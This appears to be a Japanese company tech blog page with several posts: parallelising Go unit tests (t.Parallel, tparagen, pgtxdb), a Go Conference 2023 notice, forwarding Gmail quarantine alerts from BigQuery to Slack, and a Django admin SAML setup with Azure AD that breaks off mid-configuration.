この記事の目的は、Go言語でのユニットテストの並行化を無理なく導入し、運用するための参考情報を提供することです。ゴールーチンやチャネルなど、並行・並列周りの詳細な深掘りは本記事では行いません。ご了承ください。この記事を最後まで読むことで、Go言語におけるユニットテストの並行化に関する理解が深まり、開発プロセスの効率化や品質向上につながることを期待しています。

読者は、Goである程度ユニットテストを書いてきた経験がある方を対象としています。

テスト並行化のメリット

テスト並行化は、開発プロセスにおいて重要な役割を果たします。その主なメリットは以下が考えられます。

  • テスト時間の短縮: テストを並行化することで、並列実行時に全体のテスト実行時間が大幅に短縮される可能性があります。例えば10分かかるテストが4つある場合、そのままでは40分かかりますが、並行化することで10分に短縮できるかもしれません。

  • システムリソースの効率的な利用: 最近のコンピュータは複数のコアを持つプロセッサを搭載しています。テストを並行化することで、これらのコアを同時に利用し、システムリソースを最大限に活用することが見込めます。これにより、テスト実行時のパフォーマンスが向上し、テスト実行時間がさらに短縮されます。

  • テストの信頼性向上: 並行化は、テストコードとテスト対象がマルチコア環境でうまく動作することを保証します。これは、特にデッドロックや競合状態といった並列実行時の問題を検出するのに有用です。カンムのアプリケーションは決済領域に関わるため、ユーザーのお金を保護する点でこの観点は特に重要と考えています

  • CI/CDパイプラインの最適化: 例として「テストの後にLintを走らせ、その後にデプロイ...」といった一連のワークフローが組まれている場合は、最初のテスト実行時間がボトルネックとなっています。テストを並行化することによって、テストの部分をさらにいくつかのタスク・ジョブに分割するなどの最適化が可能となり、開発者が新機能をより迅速にリリースできるようになります。

以上のように、テストの並行化は開発プロセスの効率化や品質向上に寄与し、開発チームの生産性をより高めることができます。

並行化に伴う課題

テストの並行化は多くのメリットがある一方で、導入や運用において様々な課題も存在します。以下に、自分が体験した主な課題をいくつか挙げます。

  • 一定規模以上のアプリケーションのテスト対応: 中〜大規模なアプリケーションでは、往々にして多くのテストケースが存在(テストケースが100個〜)し、それらをすべて並行化することは手間がかかる場合があります。また、テスト対象がグローバルな変数を参照していたり、テスト順序に依存している場合があり、テストケース間で共有されるリソースや依存関係の管理も複雑になりがちです。これらの問題を解決するためには、並行化する前にテスト対象のコードのリファクタリングや、テストコード設計の見直しが必要となります。

  • 並行化による新たなバグの発生: テストを並行化すると、新たにマルチコア環境に関連した問題が発生する可能性があります。デッドロックや競合状態は並列実行特有の問題であり、それらを解決するためにはテストコードの設計や実装を再考する必要があります。具体的には、テストケースを隔離する・共有リソースへのアクセスを同期するなどの見直しが必要です。

  • データベース接続テストの並行化: データベース接続テストを並行に実行する場合、テストケース間でのデータ競合を避けるために、各テストケースが独立したデータベース接続を持つことが重要です。このような独立性を確保するためには、テストデータの準備やクリーンアップの方法を見直す・データベーストランザクションの扱いを改善するなどの工夫が必要となります。

これらの課題に対処するためには、適切なツールの採用・テスト設計方針を策定することが必要です。

testingパッケージの概要

ここでは、Go言語でのユニットテスト並行化に必要な標準パッケージtestingの概要を説明します。

Goの標準パッケージ

Go言語はそのデザインの中心にテストを位置づけています。これを反映して、Goの標準ライブラリにはtestingというパッケージが含まれています。これはユニットテストベンチマークテストなど、Go言語でテストを書くための基本的なツールセットを提供しています。

https://pkg.go.dev/testing

並行実行のサポート

testingパッケージにはテストの並列実行をサポートする機能を提供しています。ここでは、テストを実行するgo testコマンドで指定できる、以下の2つのオプションについて説明します。

  • パッケージごとのテストの並行実行をサポートする-pオプション

  • パッケージのテストを並行実行をサポートする-parallelオプション

これらは全く異なるオプションです。よく誤解されますが、-pオプションは-parallelオプションの短縮系ではありません。

-pオプション

go help buildで出力される-pオプションの説明は以下になります。

 -p n
        the number of programs, such as build commands or
        test binaries, that can be run in parallel.
        The default is GOMAXPROCS, normally the number of CPUs available.

整理すると、以下のようになります。

  • ビルドコマンドやテストバイナリなど、並列実行できるプログラムの数を指定するオプション。

  • デフォルトは論理CPUの数。

デフォルトでは論理CPUの数(=GOMAXPRCSのデフォルト値)に設定されているため、マルチコアのマシン上で動作させれば、パッケージ単位でテストが並列に実行されます。例えばルート配下にhogeパッケージとfugaパッケージの2つが存在する場合、

go test ./...

と実行すると、hogeパッケージとfugaパッケージのテストは別々のプロセスで実行されます。

-parallelオプション

go help testflagで出力される-parallelの説明です。

-parallel n
    Allow parallel execution of test functions that call t.Parallel, and
        fuzz targets that call t.Parallel when running the seed corpus.
        The value of this flag is the maximum number of tests to run
        simultaneously.
        While fuzzing, the value of this flag is the maximum number of
        subprocesses that may call the fuzz function simultaneously, regardless of
        whether T.Parallel is called.
        By default, -parallel is set to the value of GOMAXPROCS.
        Setting -parallel to values higher than GOMAXPROCS may cause degraded
        performance due to CPU contention, especially when fuzzing.
        Note that -parallel only applies within a single test binary.
        The 'go test' command may run tests for different packages
        in parallel as well, according to the setting of the -p flag
        (see 'go help build').

整理すると、以下のようになります。 - t.Parallelを呼び出すテスト関数を同時に実行する数の最大値を指定するオプション。

  • デフォルトは論理CPUの数。

  • 1つのテストバイナリ内でのみ適用される。

このオプションの対象となるのは、t.Parallelを呼び出しているテストケースのみです。つまり、-pオプションとは違い、こちらは開発者が対応しなければなりません。

使用方法

ここでは、先述したgo testコマンドの2つのオプション-p-parallelについて説明します。

-pオプション

-pオプションは、テストコードに手を加える必要はありません。また、デフォルトでマシンの論理CPUの数に設定されているため、基本的に指定しなくても良いです。

意図的に制限する場合は、以下のようになります。

go test -p=1 ./...

-parallelオプション

-parallelオプションはpオプションと同じく、デフォルトでマシンの論理CPUの数に設定されています。 こちらは、対象のテスト関数にt.Parallelを記述する必要があります。

例1:サブテストなし

func TestXXX(t *testing.T) {
  t.Parallel()
  ...
}

テストケースがサブテスト化されている場合は、メインテスト・サブテスト双方にt.Parallelを埋め込みます。

例2:サブテストあり

func TestXXX(t *testing.T) {
  t.Parallel()

  t.Run("case1", func(t *testing.T) {
    t.Parallel()
    ...
  })
  t.Run("case2", func(t *testing.T) {
    t.Parallel()
    ...
  })
}

goのテストはデフォルトである程度最適化されている

-pオプションはデフォルトでマシンの論理CPU数に設定されているため、パッケージ単位での並行化は何もしなくても最適化されています。パッケージは通常、独立した機能を提供する単位として設計されるため、テストの文脈でもこのような設計になっているのでしょう。このような設計は、JavaScriptのテストフレームワークであるJestでも見られます。

一方、-parallelの方は明示的に開発者がテストコード内にt.Parallelを仕込まないと最適化されません。テストケースの性質と要件を考慮して適切な並列化戦略を選択することが重要ですが、私はできるだけきめ細やかに並行化することを推奨しています。テスト時間短縮のメリットだけでなく、テストコードとテスト対象がマルチコア環境でうまく動作することを保証してくれるためです。

テスト並行化に伴う課題

テスト並行化には多くのメリットがある一方、その導入と運用にはいくつか課題があります。並行・並列が関わる性質上、特殊なものが多いため、これらの課題は一般的なテストプロセスとは異なり、注意深く対処する必要があります。

アプリケーションの規模によるもの

先に述べた通り、パッケージ内の個別のテストケースを並行化するには、t.Parallelをテスト関数で呼び出す必要があります。個人開発のちょっとしたパッケージであればあまり問題となりませんが、商用アプリケーションのコードに導入する場合は一筋縄ではありません。単純に人力での対応が大変、という工数面での問題もありますが、特定の場合における並行化によるバグへの対処が必要になる場合もあります。

並行化によるバグへの対処

環境変数に起因するもの

テスト対象の中には、環境変数を参照するものもあるでしょう。環境変数はグローバルスコープの変数と相違ないため、テストコード内でos.Setenv環境変数を設定した場合、意図せず他のテストケースに影響を及ぼしてしまう可能性があります。 そこで、testingパッケージはt.Setenvメソッドを提供しています。

https://github.com/golang/go/blob/891547e2d4bc2a23973e2c9f972ce69b2b48478e/src/testing/testing.go#L1120

このメソッドでセットされた環境変数は、テストケースが終了した際に破棄されます。テストで環境変数を扱う際はos.Setenvではなくこのメソッドを使用するのがベターです。 ですが、t.Setenvを呼び出していた場合同じテスト関数内でt.Parallelメソッドは呼び出すことができません。並列実行時の想定外の挙動を防ぐため、意図的にpanicを起こすようになっています

例1:

func TestXXX(t *testing.T) {
  t.Parallel()
  t.Setenv("test", "test") // panic("testing: t.Setenv called after t.Parallel; cannot set environment variables in parallel tests")
  ...
}

このt.Setenvt.Parallelの組み合わせは、メインテストならメインテストごと、サブテストならサブテストごとに評価されます。以下の例ではpanicは発生しません。

例2

func TestXXX(t *testing.T) {
  t.Setenv("test", "test")

  t.Run("case1", func(t *testing.T) {
    t.Parallel()
    ...
  })
}

よってテスト対象が環境変数に依存するようなコードになっていた場合、並行化前に以下のことに注意する必要があります。

  • os.Setenvを使用していないか

  • 同じテストレベルでt.Setenvt.Parallelを同時に使用していないか

テーブル駆動テストでのクロージャに起因するもの

Go言語では、テストケースの入力値と期待値を分かりやすくする方法として、Table Driven Test(テーブル駆動テスト3)が推奨されています。このテーブル駆動テストと並行化を組み合わせた際のよくあるバグとして、俗に言うtt := tt忘れがあります。

以下の挙動を引き起こす問題です。

  • テーブル駆動テストにおいて、サブテスト関数内でループ変数を再定義せずにt.Parallelを呼び出すだけだと、ループ最後のテストケースしかテストされない

具体的な例を示します。以下の例では、name: "test 3"のテストケースしか実際には実行されません。

例1

func TestXXX(t *testing.T) {
  tests := []struct {
        name string
          arg string
        want bool
    }{
    {name: "test 1", arg: "arg1", want: true},
    {name: "test 2", arg: "arg2", want: false},
    {name: "test 3", arg: "arg3", want: true},
   }

   for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            t.Parallel()
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }
}

この挙動を解決するには、以下のように、ループ変数を再定義します。

for _, tt := range tests {
+       tt := tt
        t.Run(tt.name, func(t *testing.T) {
            t.Parallel()
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }

このバグは非常に見つけにくいです。テストケースが全てパスする場合、テスト結果の詳細をチェックしていなければ、最後のケースしかテストされていないことに気づけません。go1.20からはgo vetこの間違いを未然にチェックする機能が組み込まれました。テーブル駆動テストを並行化する際にはgo vetによる静的解析を有効化しておきましょう。

この問題についての詳細は、別途記事にまとめています。こちらも合わせて参考にしてください。

他の方が書かれたこちらの記事もとても参考となります。

導入・運用は難しい

Goで書かれた比較的中〜大規模アプリケーションのテストを並行化させるには、環境変数やテーブル駆動テストの落とし穴に注意しながら、各テストケースに、t.Parallelを埋め込んでいく作業が必要となります。 しかし、それは人力でやるには非常に手間がかかるばかりか、間違いや見落としが発生しやすい作業です。特に大規模なコードベースでは、既存のテストケースが数百まで及ぶ場合があり、すべてにt.Parallelを追加するのは現実的ではありません。 加えて、新たにテストを追加する際にも同じ問題が発生します。新しいテストを書く際に、開発者がt.Parallelを忘れてしまったり、他のテストケースに影響を及ぼす可能性がああった場合、それを見つけ出すのは困難です。

データベース接続テストの並行化

データベースに接続するテストの並行化は、特に注意が必要です。テストケース間でデータベースの状態が共有されるため、一つのテストケースがデータベースの状態を変更すると、それが他のテストケースに影響を及ぼす可能性があります。例えば、同じレコードに対する更新操作を複数のテストケースで行うと、実行結果が他のテストケースの動作に依存することになります。

独立したテスト環境の構築

これらの問題を解決する一つのアプローチは、各テストケースに対して独立したデータベース環境を提供することです。例えば、各テストケースで使用するデータベーススキーマを独立させるか、または各テストケースが使用するデータセットを分離するなどです。こうすることで、一つのテストケースがデータベースの状態を変更しても、他に影響を及ぼすことがなくなります。

しかし、このアプローチには注意が必要です。テスト実行前後でデータベーススキーマをセットアップ・クリーンアップする必要があります。うまく工夫しないと、このプロセスは多くの時間とリソースを消費するため、大規模なコードベースでは注意深く管理する必要があります。また、このプロセスは自動化されるべきであり、それを実現するためには適切なツールと運用が必要です。

無理なく導入するためのツールと事例紹介

さて、ここまでGoにおけるテスト並行化の導入・運用のメリットや課題について紹介しました。 ここからは、先ほど説明したテスト並行化に伴う諸課題について、私の経験をもとに解決策の一例を紹介します。

Goのテストコードを一気に並行動作できるようにするツール「tparagen」

https://github.com/sho-hata/tparagen

この「tparagen」は、Goのテストコードを静的に解析し、可能な限りt.Parallel()を適切な場所に自動挿入するGo製のツールです。数百個のテスト関数が対象であっても一瞬で並行化できるため、人力でチマチマt.Parallelを埋め込む必要がありません。そのため、ある程度規模のあるコードベースにも、無理なくテストを並行化することができます。

また、先に述べた問題を考慮した上でこのツールが作成されているため、安全にテストコードを並行化できます。 例えば、t.Setenvt.Parallelが同時に呼び出されるとpanicする問題の対応策として、t.Setenvを呼び出しているテストは並行化がスキップされます。さらに、メインテストはメインテスト、サブテストはサブテスト同士でチェックするため、t.Parallelの入れ忘れを防ぎ、逆に並行化してはいけないテストにt.Parallelを入れてしまうといったこともありません。

また、tt := tt忘れによるバグも事前に防ぐ仕組みが用意されています。 以下のようなtt := tt忘れによるバグを引き起こすテスト関数があった場合、サブテストにはループ変数の再定義を行いつつt.Parallel`を埋め込みます。これにより、潜在的なバグを埋め込むことなくテストを並行化することができます。

例1: tparagen実行前(並行化前)

func TestXXX(t *testing.T) {
  tests := []struct {
       ...
    }{
    {name: "test 1", arg: "arg1", want: true},
    {name: "test 2", arg: "arg2", want: false},
   }

   for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }
}

例2: tparagen実行後(並行化後)

func TestXXX(t *testing.T) {
+ t.Parallel() // 並行化
  tests := []struct {
       ...
    }{
    {name: "test 1", arg: "arg1", want: true},
    {name: "test 2", arg: "arg2", want: false},
   }

   for _, tt := range tests {
+       tt := tt // ループ変数の再定義
        t.Run(tt.name, func(t *testing.T) {
+       t.Parallel() // 並行化
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }
}

このほかにも、いくつか機能が搭載されています。詳細はtparagenのリポジトリをご参照ください。

https://github.com/sho-hata/tparagen

また、バグ発見等のissue報告・Pull Request大歓迎です。

t.Parallelし忘れを防止する静的解析ツール

https://github.com/kunwardeep/paralleltest

https://github.com/moricho/tparallel

これらのツールは、t.Parallelを使用していないテスト関数を報告してくれます。CIやGit Hookに組み込めば、コードレビューで人間がいちいちチェックしなくても機械的に検出してくれるため、無理なくテスト並行化を運用に乗せることができます。また、場合によっては並行化したくないテストもあります。その場合はnolintディレクティブを挿入することによりチェックをスキップすることができます。

例1

func TestXXX(t *testing.T) { // ERROR "Function TestXXX missing the call to method parallel"
  ...
} 

例2:nolintでスキップする例

// nolint:tparallel,paralleltest
func TestXXX(t *testing.T) {}

ちなみに、tparagenはこのnolintがあるテスト関数は並行化をスキップします。

データベース接続テストの並行化:事例紹介

並行化コードの自動挿入ツールと静的解析ツールで、テスト並行化の導入・運用の課題はクリアできました。もう一つ、データベース接続テスト並行化の課題があります。

ここからは私の所属する株式会社カンムのpool開発チームでの、テスト並行化に向けた取り組みを紹介します。データベースと接続するテストを並行化する際の参考になれば幸いです。

先に述べた通り、データベースと接続するテストを並行化するには、テストケースごとに独立した環境の構築がポイントとなります。弊チームでは、テスト時のSQLドライバとしてDATA-DOG/go-txdbPostgreSQL用に拡張したachiku/pgtxdbというツールを使っています。

https://github.com/achiku/pgtxdb

このpgtxdb(go-txdb)はdatabase/sql.DBと互換性があるデータベースとのコネクションを作ることができるライブラリで、以下の特徴を持っています。

  • データベースとのコネクションが確立するとトランザクションが開始する。閉じるとロールバックする。

  • 各コネクションで行われる全てのデータベース操作はお互いに影響せず、トランザクション内で完結する。

  • もしテスト対象がトランザクションイベントを利用していた場合は、モック化する

    • BEGIN -> SAVEPOINT
    • COMMIT -> なにもしない
    • ROLLBACK -> ROLLBACK TO SAVEPOINT

この特徴を活かし、各テスト開始時に必要なデータの準備を行い、テスト終了時にレコードの変更がロールバックするような環境になっています。トランザクションは互いに独立しているため、並列実行時にも問題はありません

pgtxdbを取り入れた後のテスト全体のライフサイクル(パッケージ単位)は以下の図のようになります。

テスト全体の前後処理

テスト全体の前後処理は、func TestMain(m *testing.M)を使って実現しています。TestMainの仕様についてはtesting#Mainを参考にしてください。

大きく分けて以下のようなことをしています。 前処理

  • スキーマの作成
  • テーブルの作成
  • pgtxdbドライバの登録

後処理

以下は擬似コードですが、大まかはこの例のようなイメージです。m.Runの前に実行しているのが前処理、deferで実行するのが後処理です。

func TestMain(m *testing.M) {
  if err := createSchema(); err != nil {
     os.Exit(1)
  }
  if err := createTable(); err != nil {
     os.Exit(1)
  }
  defer dropSchema(config, schema)
  m.Run()
}

テストケースごとの前後処理

ここでやっていることは大きく分けて以下のような処理です。

前処理

後処理

テストケースごとの前後処理は、TestSetupという関数が担っています。この関数を各テストケースで呼び出すことにより、前後処理を仕込んでいます。

以下は擬似コードですが、大まかはこの例のようなイメージです。

func TestSetupTx(t *testing.T) *sql.Tx {
    db, err := sql.Open("txdb", uuid.New().String())
    if err != nil {
        t.Fatal(err)
    }
    tx, err := db.Begin()
    if err != nil {
        t.Fatal(err)
    }

    t.Cleanup(func() {
        if err := tx.Rollback(); err != nil {
        }
        if err := db.Close(); err != nil {
            t.Fatal(err)
        }
    })
    return tx
}

ここら辺は、sql.DBを満たすインターフェース設計やpgtxdbによるトランザクションイベントのモック化などトランザクション分離を支える多くのトピックがあります。全てを紹介するとそれだけで別記事が書けるため、ここでは簡易な説明にとどめるのみとします。詳しくは弊社COO、achikuのGoCon JP 2018の登壇資料4を参考にしてください。

テスト処理

テスト本体の処理です。 

  • シードデータの挿入(必要に応じて)
  • テスト本体処理

SQLを発行するテスト対象の関数は、必ずdatabase/sql.DBが行うDB操作を抽象化したインターフェースを引数として受け取るシグネチャになっています。ここにテストケース前処理で行ったpgtxdbのコネクションを流し込むことによって、並列実行時でも問題のないトランザクション分離環境でSQLが発行されます。

func TestGetXXX(t *testing.T) {
    t.Run("found", func(t *testing.T) {
            // 前後処理
        tx := TestSetupTx(t)
        // シードデータ作成
        d := TestCreateXXXData(t, tx)
     
        // テスト本体処理
        res, err := GetXXX(tx, d.ID)
        assert.NoError(t, err)
        assert.Equal(t, u.ID, res.ID)
    })
}

まとめ

というわけで、Goのユニットテスト並行化についての導入・運用アプローチについて詳しく見てきましたが、いかがでしたでしょうか。 ユニットテストを並行化することで、

  • テスト実行時間が早くなることによるリリースサイクルの高速化

  • 並列実行時の動作を担保することによるアプリケーションの頑健化

が期待できます。

テストコードは増えれば増えるほどテストの実行時間も増加し、開発時間が大幅に割かれる可能性があります。テスト並行化の結果がたとえ1分1秒の短縮でも、将来的には大幅な効率改善につながるでしょう。

また、ソフトウェアの頑健性向上にもテスト並行化は重要な役割を果たします。並列実行時に特有のバグは往々にして解決が難しく、本番環境にリリースしてからの発見や調査はさらに難しくなります。テスト対象のコードがマルチスレッド下の環境でバグを発生させる可能性がある場合、テストの並行化によって早期にその問題を把握できます。

ただし、テスト並行化にも課題や落とし穴が存在します。重要なのはリリースサイクルの高速化やアプリケーションの頑健化が目的であり、テスト並行化はそのための手段であるということです。自分も陥りましたが、テスト並行化を導入・運用するために人力での並行化コードの埋め込みやチェックで貴重な人的リソースを浪費するのは本末転倒です。

全てのテストを無闇に並行化するべきという主張ではありません。テスト並行化は、そのメリットとデメリットを理解し、チーム全体でその導入の是非を検討することが重要です。

カンムは Go Conference 2023 にプラチナGoルドスポンサーとして協賛します

カンムは 2023年6月2日 (金) 開催の Go Conference 2023 にプラチナGoルドスポンサーとして協賛します。

gocon.jp

カンムが提供している バンドルカードPool のバックエンドは主に Go で開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています。

team.kanmu.co.jp

セッションに登壇します

今回の GoCon では、Pool のエンジニアである @sho_hata_ がセッションに登壇します! 以下スケジュールで登壇するので、ぜひご覧ください。

10:30 無理なく始めるGoでのユニットテストの並行化戦略 @sho_hata_

gocon.jp

オフィスアワーで CTF を開催します

イベント当日は reBako にてオフィスアワーを実施します。カンムのブースでは毎度恒例になりつつある CTF の出題をします。 お昼ごろに問題を公開予定ですので楽しみにしてください!

また過去の出題も楽しいものばかりですのでご興味ある方はぜひ!

このほかにも

  • カンムやバンドルカード・Pool について聞いてみたい!
  • 登壇していたエンジニアと話してみたい!
  • Go についてわいわい話したい!

などなども大歓迎です!ぜひ reBako のブースに遊びに来てみてください!

After Party もします

6月15日(木) 19:00から、スポンサー企業である「ミラティブ」「マネーフォワード」「ナレッジワーク」「カンム」の4社によるGo同勉強会を開催します。 Goに関するLTとGo Conference感想戦などを行いますのでこちらもぜひぜひご参加ください。

kanmu.connpass.com

当日 Gopher のみなさんとお会いできることを楽しみにしております👋

Gmail 管理者検疫に関するアラートをSlackへ通知させたい!

カンムでコーポレートエンジニアをやっているhikkyです。

今回セキュリティチームからの依頼で、GoogleWorkspace(以下GWS)の機能である 「高度なフィッシングと不正なソフトウェアへの対策」 という機能の一部を有効化しました。 しかしこの機能通知がメールのみのため、Slackへ通知させるということを行いました。
この時の内容をせっかくなので、ブログ記事にしてみます。

必要システム

この手順を実施するためには以下のシステムが必要です。

  • GoogleWorkspace Enterpriseエディション以上
  • Slack有料プラン
  • Google Cloud
  •   Cloud Functions
  •   Cloud Scheduler
  •    BigQuery
  • Python3

事前準備

Google Cloud設定

こちらのドキュメントを参考に、プロジェクトを設定します。 support.google.com

GWSのログをBigQueryへエクスポート設定

GWSのプランがEnterprise以上の場合、GWSのログをBigQueryにエクスポートすることができます。
通常GWSのログは6ヶ月しか残すことができませんが、BigQueryにエクスポートすることで長期間ログの保存が可能になり、クエリでログを検索することができるようになります。

  • GWS管理コンソールへアクセスします。
  • 「レポート」→「BigQuery Export」を開きます。
  • Google BigQueryへのGoogle Workspaceデータのエクスポートを有効にします」にチェックを入れます。
  • 事前に設定した、GCPプロジェクトID、任意のデータセット名、ロケーション制限を設定し、【保存】をクリックします。

設定してから反映されるまでに、最大48時間かかることがあるため、しばらく待ちます。

設定したGCPプロジェクトのBigQueryを開き、データセットが作成されたかを確認します。
(ここでのデータセット名はgwslogです)
データセット下に、activityとusageが表示されていればOKです。
ただしデータが実際に流れてくるまでに時間がかかることがあるようです。

データが入ってきたかは、各テーブルでプレビューを表示させることで判断できます。

サンプルクエリの実行

BigQueryにGWSログデータが流れてきたことが確認できたら、サンプルクエリを実行して確認してみます。
こちらのページ にクエリ例が掲載されているので、試しに特権管理者の数を出力するクエリを実行してみます。

SELECT COUNT(DISTINCT user_email) as number_of_super_admins, date
FROM api_project_name.dataset_name.usage
WHERE accounts.is_super_admin = TRUE
GROUP BY 2
ORDER BY 2 DESC;

以下のような結果が返ってきて、日付単位での増減がわかりますね。

GWSメール検疫を設定する

  • GWS管理コンソールへアクセスします。
  • 「アプリ」→「Google Workspace」→「Gmail」→「検疫の管理」を開きます。
  • 【検疫の追加】をクリックします。 検疫されたメールを確認できるグループを指定したいので、Defaultを利用せず新しい検疫を追加します。 GWSでグループを作成し、検疫確認を実施するメンバーをグループに追加します。 【グループを管理】検疫確認を行うグループを設定します。

「メールが検疫されたときに定期的に通知する」にチェックをつけて保存します。

BigQueryで検疫されたメールを出力する

当初以下のようなクエリで一覧が取得できると思ったのですが、処理容量が大きく、課金額も大きくなってしまうため、処理容量を減らす必要があります。

SELECT TIMESTAMP_MICROS(gmail.event_info.timestamp_usec) as timestamp,
     gmail.message_info.subject,
     gmail.message_info.source.address as source,
     gmail.message_info.source.from_header_address as st_address,
     gmail.message_info.source.from_header_displayname as displayname,
     destination.address as destination,
     gmail.message_info.rfc2822_message_id
FROM gwslog.activity d, d.gmail.message_info.destination
WHERE
     EXISTS(SELECT 1 FROM d.gmail.message_info.triggered_rule_info ri, ri.consequence
          WHERE consequence.action = 3)
     AND TIMESTAMP_MICROS(gmail.event_info.timestamp_usec) >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 12 HOUR)
ORDER BY
  timestamp DESC;

必要なテーブルの詳細を確認すると、日分割テーブルとなっていました。

そのためリアルタイムでの通知は諦めて、一日一回の通知だけをさせる方針としました。 修正したクエリは以下です。

SELECT
    FORMAT_TIMESTAMP('%Y-%m-%dT%H:%M:%S%z', TIMESTAMP_MICROS(gmail.event_info.timestamp_usec), 'Asia/Tokyo') as timestamp,
    gmail.message_info.subject,
    gmail.message_info.source.address as source,
    gmail.message_info.source.from_header_address as source_address,
    gmail.message_info.source.from_header_displayname as displayname,
    destination.address as destination,
    gmail.message_info.rfc2822_message_id
FROM 
    `{os.environ["PROJECT_ID"]}.{os.environ["DATASET_ID"]}.{os.environ["TABLE_ID"]}`,
    UNNEST(gmail.message_info.destination) as destination
WHERE 
    _PARTITIONTIME = TIMESTAMP(TIMESTAMP_SUB(CURRENT_DATE(), INTERVAL 1 DAY))
    AND EXISTS (
        SELECT 1
        FROM UNNEST(gmail.message_info.triggered_rule_info) ri, UNNEST(ri.consequence) c
        WHERE c.action = 3
    )

Slackへ通知する

Cloud Functionsの設定

以下のようなpythonスクリプトを作成して、Cloud Functionsにデプロイします。

import os
import json
import requests
from google.cloud import bigquery
from slack_sdk import WebClient
from slack_sdk.errors import SlackApiError

def query_to_slack(request, context):

    # Create BigQuery client
    client = bigquery.Client()

    # Define the query
    query = f"""
        SELECT
            FORMAT_TIMESTAMP('%Y-%m-%dT%H:%M:%S%z', TIMESTAMP_MICROS(gmail.event_info.timestamp_usec), 'Asia/Tokyo') as timestamp,
            gmail.message_info.subject,
            gmail.message_info.source.address as source,
            gmail.message_info.source.from_header_address as source_address,
            gmail.message_info.source.from_header_displayname as displayname,
            destination.address as destination,
            gmail.message_info.rfc2822_message_id
        FROM 
            `{os.environ["PROJECT_ID"]}.{os.environ["DATASET_ID"]}.{os.environ["TABLE_ID"]}`,
            UNNEST(gmail.message_info.destination) as destination
        WHERE 
            _PARTITIONTIME = TIMESTAMP(TIMESTAMP_SUB(CURRENT_DATE(), INTERVAL 1 DAY))
            AND EXISTS (
                SELECT 1
                FROM UNNEST(gmail.message_info.triggered_rule_info) ri, UNNEST(ri.consequence) c
                WHERE c.action = 3
            )
    """

    # Execute the query
    query_job = client.query(query)
    results = query_job.result()

    if ( results.total_rows > 0 ):
        #クエリ結果が1件以上あった場合にSlack通知
        send_slack_notification(results)


def format_results(results):
    blocks = []
    blocks.append({
            "type": "section",
            "text": {
                "type": "mrkdwn",
                "text": "検疫されたメールがあります。\n"
            }
        })
    for result in results:
        blocks.append({
            "type": "section",
            "fields": [
                {
                    "type": "mrkdwn",
                    "text": f"*Timestamp:*\n{result['timestamp']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Subject:*\n{result['subject']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Source:*\n{result['source']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Source Address:*\n{result['source_address']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Display Name:*\n{result['displayname']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Destination:*\n{result['destination']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Message ID:*\n{result['rfc2822_message_id']}"
                }
            ]
        })
        blocks.append({
            "type": "divider"
        })
    return blocks

def send_slack_notification(results):
    client = WebClient(token=os.environ['SLACK_API_TOKEN'])

    try:
        response = client.chat_postMessage(
            channel="#nf-quarantined",
            text="Quarantined Email Notification",
            blocks=format_results(results)
        )
    except SlackApiError as e:
        print(f"Error sending message: {e}")

Cloud Schedulerを利用して定期実行させる

以下のドキュメントを参考に、Cloud Schedulerを利用して一日一回定期実行するように設定します。 cloud.google.com

実行結果の確認

検疫メールがある場合に、指定した時間になると以下のようなSlack通知がきます。

最後に

検疫機能便利ではあるのですが、指定ドメインを検疫対象から外すといったことができません。
そのため弊社で利用しているツールからの通知メールも入ってしまうことがあります。
メールをあまり見ないので、Slackへ通知させることで検疫されたメールがあると気づけるので便利になったのではないでしょうか?
GWSログをBigQueryにエクスポートすることで、ログをクエリで検索することができるようになるので色々と幅は広がりそうです。

Azure ADを利用したDjango adminのSAML認証

SREの菅原です。

カンムのサービスのバックエンドは基本的にGoで書かれているのですが、一部の内部向け管理画面はPythonフレームワークDjangoで作成されています。

スタッフがDjango adminページにログインして各種オペレーションを行うのですが、adminページにログインするためにはDjango adminのアカウントが必要です。

社内で使う各種サービスのアカウントは基本的にはAzure Active Directoryを使ったSSOで一元管理されていますが、管理用WebアプリはSAML対応の実装をしておらず、前段のロードバランサー(ALB)でOIDC認証しているものの、adminページ自体のアカウントは管理用Webアプリで追加しなければいけない状態でした。

管理用Webアプリが独自にアカウント管理してしまうと、個別にアカウントを作成する手間が増え、Azure ADでの一元管理のメリットも薄れてしまいます。そこで管理用WebアプリでSAML認証ができるように改修をすることにしました。

django-saml2-auth → djangosaml2

DjangoSAML対応にはいくつかライブラリが存在します。

最初はgrafana/django-saml2-authを使って実装を進めていたのですが、動作確認を行ったところ以下のIssueの問題が発生しました

github.com

問題の対応にはdjango-saml2-auth自体の改修が必要そうであり、アップストリームへの修正の反映には時間がかかりそうだったため、django-saml2-authの利用は諦めIssueのコメントで触れられているdjangosaml2を使った実装に切り替えました。

djangosaml2を使った実装

djangosaml2の利用方法はドキュメントに詳しく書かれています。
※Azure AD側の設定については省略

まずは必要なライブラリを追加。

# Dockerfile
apt install libxmlsec1-dev pkg-config  xmlsec1
# requirements.txt
djangosaml2==1.5.5

settings.pyは以下のように修正。

INSTALLED_APPS = [
    # ...
    "djangosaml2",
]

MIDDLEWARE = [
    # ...
    'djangosaml2.middleware.SamlSessionMiddleware',
]

AUTHENTICATION_BACKENDS = [
    "django.contrib.auth.backends.ModelBackend",
    #"djangosaml2.backends.Saml2Backend",
    "apps.auth.saml2.ModifiedSaml2Backend",
]

SESSION_COOKIE_SECURE = True
LOGIN_URL = "/saml2/login/"
LOGIN_REDIRECT_URL = '/admin'
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SAML_IGNORE_LOGOUT_ERRORS = True
SAML_DJANGO_USER_MAIN_ATTRIBUTE = "username"
SAML_CREATE_UNKNOWN_USER = True

SAML_ATTRIBUTE_MAPPING = {
     "name": ("username",),
     "emailAddress": ("email",),
     "givenName": ("first_name",),
     "surname": ("last_name",),
}

SAML_METADATA_URL = "https://login.microsoftonline.com/..."

SAML_CONFIG = {
